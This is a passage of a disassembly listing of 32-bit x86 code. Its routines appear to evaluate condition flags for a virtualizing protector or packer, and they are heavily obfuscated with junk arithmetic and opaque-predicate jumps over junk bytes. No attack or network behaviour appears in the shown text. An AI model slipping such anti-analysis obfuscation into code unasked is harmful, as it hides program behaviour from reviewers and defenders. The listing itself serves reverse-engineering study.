		jmp	short loc_49A34E
; ---------------------------------------------------------------------------


loc_49A338:				; CODE XREF: sub_49A2FF+2Cj
		dec	edi
		dec	ecx
		sub	ch, 2
		dec	ch
		dec	ch
		sub	ch, 8
		and	eax, 0
		dec	ecx
		sub	ch, 2
		inc	eax
		dec	ch


loc_49A34E:				; CODE XREF: sub_49A2FF+37j
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED3B0
		xor	eax, dword_4ED3B4
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49A370
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_49A370:				; CODE XREF: sub_49A2FF+66j
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D08
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A2FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A384	proc near		; DATA XREF: sub_4965D8+11CFo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A442
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A442:				; CODE XREF: sub_49A384+B3j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A456	proc near		; DATA XREF: sub_4965D8+525o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		sub	cl, 6
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 4
		inc	cl
		inc	cl
		dec	cl
		dec	cl
		sub	cl, 11h
		dec	cl
		and	eax, 10h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Fh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		inc	cl
		dec	cl
		dec	cl
		inc	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		add	cl, 2
		dec	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F4
		xor	ecx, dword_4ED3F8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A52F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A52F:				; CODE XREF: sub_49A456+CEj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D4C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A456	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A543	proc near		; DATA XREF: sub_4965D8+1DFo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DCC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_49A5B6
		jl	short loc_49A5B4


loc_49A5B1:				; CODE XREF: sub_49A543:loc_49A5B4j
					; sub_49A543:loc_49A5B6j
		jmp	short loc_49A5B8
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49A5B4:				; CODE XREF: sub_49A543+6Cj
		jz	short loc_49A5B1


loc_49A5B6:				; CODE XREF: sub_49A543+6Aj
		jmp	short loc_49A5B1
; ---------------------------------------------------------------------------


loc_49A5B8:				; CODE XREF: sub_49A543:loc_49A5B1j
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_49A6C7
		mov	eax, [ebp+var_4]
		jo	short loc_49A5FD
		jl	short loc_49A5FB


loc_49A5F8:				; CODE XREF: sub_49A543:loc_49A5FBj
					; sub_49A543:loc_49A5FDj
		jmp	short loc_49A5FF
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49A5FB:				; CODE XREF: sub_49A543+B3j
		jz	short loc_49A5F8


loc_49A5FD:				; CODE XREF: sub_49A543+B1j
		jmp	short loc_49A5F8
; ---------------------------------------------------------------------------


loc_49A5FF:				; CODE XREF: sub_49A543:loc_49A5F8j
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 0C6h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 4
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49A69E
		jl	short loc_49A69C


loc_49A699:				; CODE XREF: sub_49A543:loc_49A69Cj
					; sub_49A543:loc_49A69Ej
		jmp	short loc_49A6A0
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49A69C:				; CODE XREF: sub_49A543+154j
		jz	short loc_49A699


loc_49A69E:				; CODE XREF: sub_49A543+152j
		jmp	short loc_49A699
; ---------------------------------------------------------------------------


loc_49A6A0:				; CODE XREF: sub_49A543:loc_49A699j
		inc	eax
		dec	eax
		jo	short loc_49A6AB
		jl	short loc_49A6A9


loc_49A6A6:				; CODE XREF: sub_49A543:loc_49A6A9j
					; sub_49A543:loc_49A6ABj
		jmp	short loc_49A6AD
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49A6A9:				; CODE XREF: sub_49A543+161j
		jz	short loc_49A6A6


loc_49A6AB:				; CODE XREF: sub_49A543+15Fj
		jmp	short loc_49A6A6
; ---------------------------------------------------------------------------


loc_49A6AD:				; CODE XREF: sub_49A543:loc_49A6A6j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49A6BA
		jl	short loc_49A6B8


loc_49A6B5:				; CODE XREF: sub_49A543:loc_49A6B8j
					; sub_49A543:loc_49A6BAj
		jmp	short loc_49A6BC
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49A6B8:				; CODE XREF: sub_49A543+170j
		jz	short loc_49A6B5


loc_49A6BA:				; CODE XREF: sub_49A543+16Ej
		jmp	short loc_49A6B5
; ---------------------------------------------------------------------------


loc_49A6BC:				; CODE XREF: sub_49A543:loc_49A6B5j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49A6C7
		and	eax, 0
		jmp	short loc_49A6CB
; ---------------------------------------------------------------------------


loc_49A6C7:				; CODE XREF: sub_49A543+A8j
					; sub_49A543+17Dj
		and	eax, 0
		inc	eax


loc_49A6CB:				; CODE XREF: sub_49A543+182j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3FC
		xor	ecx, dword_4ED400
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A6EE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A6EE:				; CODE XREF: sub_49A543+1A0j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D54
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A543	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A702	proc near		; DATA XREF: sub_4965D8+745o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_49A72B
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_49A72B:				; CODE XREF: sub_49A702+22j
		mov	ebx, 71h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		add	ebx, 7
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED404
		xor	ecx, dword_4ED408
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A775
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A775:				; CODE XREF: sub_49A702+68j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D5C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A702	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A789	proc near		; DATA XREF: sub_4965D8+86Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49A7AE
		jl	short loc_49A7AC


loc_49A7A9:				; CODE XREF: sub_49A789:loc_49A7ACj
					; sub_49A789:loc_49A7AEj
		jmp	short loc_49A7B0
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49A7AC:				; CODE XREF: sub_49A789+1Ej
		jz	short loc_49A7A9


loc_49A7AE:				; CODE XREF: sub_49A789+1Cj
		jmp	short loc_49A7A9
; ---------------------------------------------------------------------------


loc_49A7B0:				; CODE XREF: sub_49A789:loc_49A7A9j
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		xor	bh, 7
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		jo	short loc_49A7D4
		jl	short loc_49A7D2


loc_49A7CF:				; CODE XREF: sub_49A789:loc_49A7D2j
					; sub_49A789:loc_49A7D4j
		jmp	short loc_49A7D6
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49A7D2:				; CODE XREF: sub_49A789+44j
		jz	short loc_49A7CF


loc_49A7D4:				; CODE XREF: sub_49A789+42j
		jmp	short loc_49A7CF
; ---------------------------------------------------------------------------


loc_49A7D6:				; CODE XREF: sub_49A789:loc_49A7CFj
		mov	bl, 0C6h
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		jo	short loc_49A80B
		jl	short loc_49A809


loc_49A806:				; CODE XREF: sub_49A789:loc_49A809j
					; sub_49A789:loc_49A80Bj
		jmp	short loc_49A80D
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49A809:				; CODE XREF: sub_49A789+7Bj
		jz	short loc_49A806


loc_49A80B:				; CODE XREF: sub_49A789+79j
		jmp	short loc_49A806
; ---------------------------------------------------------------------------


loc_49A80D:				; CODE XREF: sub_49A789:loc_49A806j
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED408
		xor	ecx, dword_4ED40C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A83B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A83B:				; CODE XREF: sub_49A789+A7j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D60
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A84F	proc near		; DATA XREF: sub_4965D8+8F4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	410h
		pop	ebx
		dec	bh
		dec	bh
		sub	bh, 0FFh
		sub	bh, 2
		dec	bh
		and	ah, bh
		mov	bl, 0Eh
		sub	bl, 4
		dec	bl
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49A8AE
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49A8B4
; ---------------------------------------------------------------------------


loc_49A8AE:				; CODE XREF: sub_49A84F+55j
		not	eax
		add	eax, 1
		clc


loc_49A8B4:				; CODE XREF: sub_49A84F+5Dj
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49A8C3
		jl	short loc_49A8C1


loc_49A8BC:				; CODE XREF: sub_49A84F:loc_49A8C1j
					; sub_49A84F:loc_49A8C3j
		jmp	short loc_49A8C5
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49A8C1:				; CODE XREF: sub_49A84F+6Bj
		jz	short loc_49A8BC


loc_49A8C3:				; CODE XREF: sub_49A84F+69j
		jmp	short loc_49A8BC
; ---------------------------------------------------------------------------


loc_49A8C5:				; CODE XREF: sub_49A84F:loc_49A8BCj
		inc	eax
		dec	eax
		jo	short loc_49A8D2
		jl	short loc_49A8D0


loc_49A8CB:				; CODE XREF: sub_49A84F:loc_49A8D0j
					; sub_49A84F:loc_49A8D2j
		jmp	short loc_49A8D4
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49A8D0:				; CODE XREF: sub_49A84F+7Aj
		jz	short loc_49A8CB


loc_49A8D2:				; CODE XREF: sub_49A84F+78j
		jmp	short loc_49A8CB
; ---------------------------------------------------------------------------


loc_49A8D4:				; CODE XREF: sub_49A84F:loc_49A8CBj
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49A8E1
		jl	short loc_49A8DF


loc_49A8DC:				; CODE XREF: sub_49A84F:loc_49A8DFj
					; sub_49A84F:loc_49A8E1j
		jmp	short loc_49A8E3
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49A8DF:				; CODE XREF: sub_49A84F+8Bj
		jz	short loc_49A8DC


loc_49A8E1:				; CODE XREF: sub_49A84F+89j
		jmp	short loc_49A8DC
; ---------------------------------------------------------------------------


loc_49A8E3:				; CODE XREF: sub_49A84F:loc_49A8DCj
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F4
		xor	ecx, dword_4ED3F8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A907
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A907:				; CODE XREF: sub_49A84F+ADj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D4C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A84F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A91B	proc near		; DATA XREF: sub_4965D8+F10o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D94
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_49A944
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_49A944:				; CODE XREF: sub_49A91B+22j
		mov	ebx, 30h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		add	ebx, 4
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C4
		xor	ecx, dword_4ED3C8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A994
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A994:				; CODE XREF: sub_49A91B+6Ej
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D1C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A91B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A9A8	proc near		; DATA XREF: sub_4965D8+811o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DEC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1E00h
		pop	ebx
		jo	short loc_49A9DE
		jl	short loc_49A9DC


loc_49A9D7:				; CODE XREF: sub_49A9A8:loc_49A9DCj
					; sub_49A9A8:loc_49A9DEj
		jmp	short loc_49A9E0
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49A9DC:				; CODE XREF: sub_49A9A8+2Dj
		jz	short loc_49A9D7


loc_49A9DE:				; CODE XREF: sub_49A9A8+2Bj
		jmp	short loc_49A9D7
; ---------------------------------------------------------------------------


loc_49A9E0:				; CODE XREF: sub_49A9A8:loc_49A9D7j
		sub	bh, 4
		dec	bh
		push	eax
		dec	bh
		dec	bh
		jo	short loc_49A9F3
		jl	short loc_49A9F1


loc_49A9EE:				; CODE XREF: sub_49A9A8:loc_49A9F1j
					; sub_49A9A8:loc_49A9F3j
		jmp	short loc_49A9F5
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49A9F1:				; CODE XREF: sub_49A9A8+44j
		jz	short loc_49A9EE


loc_49A9F3:				; CODE XREF: sub_49A9A8+42j
		jmp	short loc_49A9EE
; ---------------------------------------------------------------------------


loc_49A9F5:				; CODE XREF: sub_49A9A8:loc_49A9EEj
		and	eax, 40h
		dec	bh
		sub	bh, 12h
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 12h
		dec	dl
		sub	dl, 1
		dec	dl
		sub	dl, 7
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED420
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49AA49
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49AA49:				; CODE XREF: sub_49A9A8+96j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D74
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A9A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AA5D	proc near		; DATA XREF: sub_4965D8+580o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Fh
		dec	ch
		dec	ch
		dec	ch
		sub	ch, 1
		sub	ch, 15h
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		dec	cl
		inc	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		inc	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		inc	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 13h
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 41h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Dh
		dec	cl
		and	eax, 80h
		sub	cl, 22h
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49AB47
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49AB47:				; CODE XREF: sub_49AA5D+DFj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49AA5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AB5B	proc near		; DATA XREF: sub_4965D8+1037o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 10h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Fh
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		inc	cl
		dec	cl
		dec	cl
		inc	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F4
		xor	ecx, dword_4ED3F8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49AC31
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49AC31:				; CODE XREF: sub_49AB5B+CBj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D4C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49AB5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AC45	proc near		; DATA XREF: sub_4965D8+DA5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 2
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
